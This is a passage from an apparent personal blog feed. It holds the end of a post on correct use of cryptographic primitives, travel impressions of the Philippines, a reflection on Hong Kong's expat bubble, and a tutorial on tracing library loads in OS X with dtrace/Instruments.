Block modes also need a random IV and that data must be transmitted together with the cryptotext. It's a hassle, but if you come up with a "solution" such as generating the IV from the password, you're violating the rule number 3 (do what you are told to do and don't make your own solutions) and defeating the entire purpose of the IV (which is to ensure that you always generate different cryptotexts even when reusing parts of data or password).<br />
<br />
More complicated encryption schemes (such as ECIES) need some other data to be also transmitted with the message. Again, you have to implement this exactly according to the spec and refrain from custom inventions such as reusing the ephemeral curve, otherwise you are compromising your own data security.<br />
<br />
<h3>
Conclusion</h3>
This article is merely a short summary, it doesn't provide the <i>why </i>for the rules. Usually, the reason is that incorrect use either enables some unexpected way for the attacker to get your data, to tamper with them or to calculate statistical information about them, which is also more serious than most people would expect. You can always find the answers are out there on the internet in specifications of the individual primitives.<br />
<br />
A very useful article is <a href="http://www.daemonology.net/blog/2009-06-11-cryptographic-right-answers.html">Cryptographic right answers</a>.<br />
<br />
<br /></div>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-4587889150885588413.post-12805835252366666072014-05-01T09:37:00.000-07:002014-11-10T21:01:47.075-08:00Philippines impressionsPhilippines, the land of crystal clear sea, beautifully rich marine life and dreamy sunsets over the Bacuit Archipelago. This is the place you see on all the travel package promotional materials and it still looks twice as awesome in real life than on the picture.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWfudxPDC4vD0Zialxxbp0kaqUOkkxm1HdV2OYpHzJqPXidOes0pj7AAUPpIjgLfAEo9MTdeA_nPECPuBaoOXtWSmhol9HHVxV_374K4I36K7Nlaro39pbVlr5Vppyp0yChtqQiYjO7_W0/s1600/DSCF1514.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWfudxPDC4vD0Zialxxbp0kaqUOkkxm1HdV2OYpHzJqPXidOes0pj7AAUPpIjgLfAEo9MTdeA_nPECPuBaoOXtWSmhol9HHVxV_374K4I36K7Nlaro39pbVlr5Vppyp0yChtqQiYjO7_W0/s1600/DSCF1514.jpg" height="392" width="640" /></a></div>
<br />
<br />
The people who are not involved in the ruthless fight for tourist's money are very nice. The folks we stayed at in El Nido and Puerto Princesa were really kind-hearted and we had a few nice chats with them. We even took nice photos! <br />
<div class="separator" style="clear: both; text-align: center;">
</div>
When I got a flat tire with a rented motorbike, a tricycle driver stopped by and tried to fix it for me, using his home made equipment. I was just standing by, clueless :)<br />
<br />
Diving in El Nido. Take one beautiful, unspoiled place on the planet and mix it with the adventure of doing a diving course there. Together with the cool people at Deep Blue Seafari, it's one of the bigger experiences of your life. The underwater world is amazing and so lively in El Nido. It's also great to learn a new skill. I'm already looking up what it takes to get the next level of diving certification.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWF-z7KukwOTxn-bzmcXgiLodqzmrbZ4_v7_epdaT_bOcxoMdfrvzaxNadNSzBuzAwVG6DZwj9d5uSoiEu4BEuyQTdAq1qM5zwRhg7srZWRg1C54tnuCy26WBOfM-xh37r6Vl1Se_fBa-a/s1600/DSCF1504.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWF-z7KukwOTxn-bzmcXgiLodqzmrbZ4_v7_epdaT_bOcxoMdfrvzaxNadNSzBuzAwVG6DZwj9d5uSoiEu4BEuyQTdAq1qM5zwRhg7srZWRg1C54tnuCy26WBOfM-xh37r6Vl1Se_fBa-a/s1600/DSCF1504.jpg" height="425" width="640" /></a></div>
<br />
<br />
I loved the jeepneys in Cebu City. They are the easiest way to get around the city, ever. Just figure out where you need to go, look for a car that has your destination written on the side and wave it down. Ask the driver to tell you where should you get off. And it only costs ... well almost nothing. The drivers must love their cars, they decorate them with spray paintings depicting all sorts of stuff, including Jesus, eagles, landscapes or just abstract patterns.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVL1zl2BEscE_d62dG4mZEtSJ2CCVu5fMCvN5jQWdMvQXb9igwO8mcZHliUEbDTY-qdC9bbw52BsQ6OXwV9NuBsmUfyuuEkpIrv9JkJ_CaDWfvkBKpZ_Pte8m0XVYRR0EXo4EyQGt4Y9f8/s1600/DSCF1471.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVL1zl2BEscE_d62dG4mZEtSJ2CCVu5fMCvN5jQWdMvQXb9igwO8mcZHliUEbDTY-qdC9bbw52BsQ6OXwV9NuBsmUfyuuEkpIrv9JkJ_CaDWfvkBKpZ_Pte8m0XVYRR0EXo4EyQGt4Y9f8/s1600/DSCF1471.jpg" height="425" width="640" /></a></div>
<br />
<br />
In Bohol, Panglao island, things are getting very touristy and it stops being pleasant. People are trying to sell you stuff every 10 minutes ... not very conductive to a nice relax on the beach. But the Bohol interior is still a thing to see, offering rice fields, rainforests, churches and the Chocolate Hills (they look meh on photos, but in real life they're pretty cool). And if you have a moment or ten, stop by Nuts Huts!<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbh0JL0-d_GFiRnL8rkBKqwCmxBbOycvgsdEeUsWjvknZT5Xh-vbURFsCNUEcWyUcXvFzbw8RIggKMmp5t2GFNz6SpWGNxu6YPwVlKPl_bh-w_AX7YKSzTLrHMsCQWmn2viCmauOcVlZQ_/s1600/DSCF1849.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbh0JL0-d_GFiRnL8rkBKqwCmxBbOycvgsdEeUsWjvknZT5Xh-vbURFsCNUEcWyUcXvFzbw8RIggKMmp5t2GFNz6SpWGNxu6YPwVlKPl_bh-w_AX7YKSzTLrHMsCQWmn2viCmauOcVlZQ_/s1600/DSCF1849.jpg" height="425" width="640" /></a></div>
<br />
<h3>
</h3>
<div>
<ul>
</ul>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-18182078623224380312014-05-01T09:10:00.002-07:002014-05-26T19:00:05.673-07:00The expat bubbleThere are two worlds in Hong Kong. On one side, the local Chinese world with small street-side dim sum restaurants and Chinese medicine shops. On the other side, a place full of English, Irish, German, French restaurants, countless bars and clubs and expensive fashion shops. To some extent, the local, Chinese feel is found in Kowloon and anywhere north from there, the other place, the expat feel, is on Hong Kong Island, mostly Central and Wan Chai.<br />
<br />
These areas provide the so-called expat bubble. People who were moved in their jobs from Europe to the Orient are going to look for their familiar environment, familiar home food and likely also hang out with similar people in western-style bars. I also enjoy my Western food every time I get it and drool over any cheese and crispy bread I can find ;) But some of them never get out of that bubble even though something new, interesting is waiting just across the harbour. And when I mention a well known place in Kowloon, they'd say, "I've heard about Kowloon but haven't been there". After 5 years of living in HK. I'm having trouble understanding that.<br />
<br />
And if you never venture outside of the expat bubble that <i>has been prepared for you by some other people</i>, you'll never see the outside and therefore won't be able to take the good & useful things into your life. You'll just keep using what's already inside your bubble but the problem is that those things were not selected by you so you can't know if it's the best choice. Without venturing into the local world (which is right outside the bubble!), you'll never see the way of life of the local people and you'll never have the opportunity to see that there might be something to the local way of life. You can miss out on opportunities.<br />
<br />
See you in Chung King Mansions ;)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://media-cdn.tripadvisor.com/media/photo-s/02/ca/63/1d/chung-king-mansion.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://media-cdn.tripadvisor.com/media/photo-s/02/ca/63/1d/chung-king-mansion.jpg" height="360" width="640" /></a></div>
<br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4587889150885588413.post-25637486804815767072014-04-25T02:09:00.000-07:002014-05-02T04:44:57.578-07:00Debugging library loads in OS X using dtrace<div class="separator" style="clear: both; text-align: left;">
When your OS X app starts to get a little bigger and a little complicated, you may encounter some issues with library loading. Getting the correct libraries to load is not always easy and in our case, where we develop a Python app and need to use a different Python version than what's on the system, even more trouble is added to the mix. Sometimes the system Python library sneaks in and our poor app then crashes with a sad message</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<code>
Fatal Python error: Interpreter not initialized (version mismatch?)
</code><br />
<code><br /></code>
or, alternatively, with an even more sad message saying
<br />
<br />
<code>
Fatal Python error: PyThreadState_Get: no current thread
</code><br />
<code><br /></code>
These are caused by mixing two different Python library versions in the same process. They step on each other memory structures and don't play along nicely. Need to separate them.<br />
But how can you quickly figure out which of your modules is referencing the wrong Python library? Use dtrace. I <a href="http://blog.rplasil.name/2013/03/autorelease-pool-hell.html">already wrote</a> a post about how useful this tool can be. And we can employ it for this task as well. On OSX, it comes with a nice GUI app called <i>Instruments</i> (a part of XCode package). In this app, click the <i>Instrument</i> menu and select <i>Build New Instrument...</i> You will see the following window and now you need to fill in the details as below. In principle, you'll put a break/tracepoint on the function <i>dlopen</i> in <i>libdyld.dylib</i> and tell the system to record the stack trace in that moment as well as the first function argument which is the path to the library to be loaded.<br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHBc-3LsLiPWyS_8F5HwbiBBo5d_Jawson4EAriX4uEcOE2jhUrsilbUm1R1XDBsIPJ0VoRRt0MdR1NC92-YR7-eSivZoVN59HX1utr54znDxNtqV5MQh_iIZfsxTOM8fD1qcVi-81ALCb/s1600/loads_instrument.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHBc-3LsLiPWyS_8F5HwbiBBo5d_Jawson4EAriX4uEcOE2jhUrsilbUm1R1XDBsIPJ0VoRRt0MdR1NC92-YR7-eSivZoVN59HX1utr54znDxNtqV5MQh_iIZfsxTOM8fD1qcVi-81ALCb/s1600/loads_instrument.png" height="287" width="400" /></a></div>
<br />
When you set this up, add the new instrument to your current project and select the program to instrument. You can attach to an already running process or start a new instance. The result will look like the image below. You can see the library load events together with the path argument and for each item you can see the call stack on the right.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwgMPbEwGCS4rfiMiOBG6E08EOzVoHc2H2hQPkDMCMsGgjHOpYh0JoDVMDzBRg_OGsj38o6chT2NNzwhMtdxOY5MHAvdp7oX3jkfSkmbtnN7cZ_bL3NbloKEyw7w3Vl1c8AvM8cbcvFZ-3/s1600/loads_result.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwgMPbEwGCS4rfiMiOBG6E08EOzVoHc2H2hQPkDMCMsGgjHOpYh0JoDVMDzBRg_OGsj38o6chT2NNzwhMtdxOY5MHAvdp7oX3jkfSkmbtnN7cZ_bL3NbloKEyw7w3Vl1c8AvM8cbcvFZ-3/s1600/loads_result.png" height="286" width="400" /></a></div>
Awesome! Now let's get some ice cream.Unknownnoreply@blogger.com0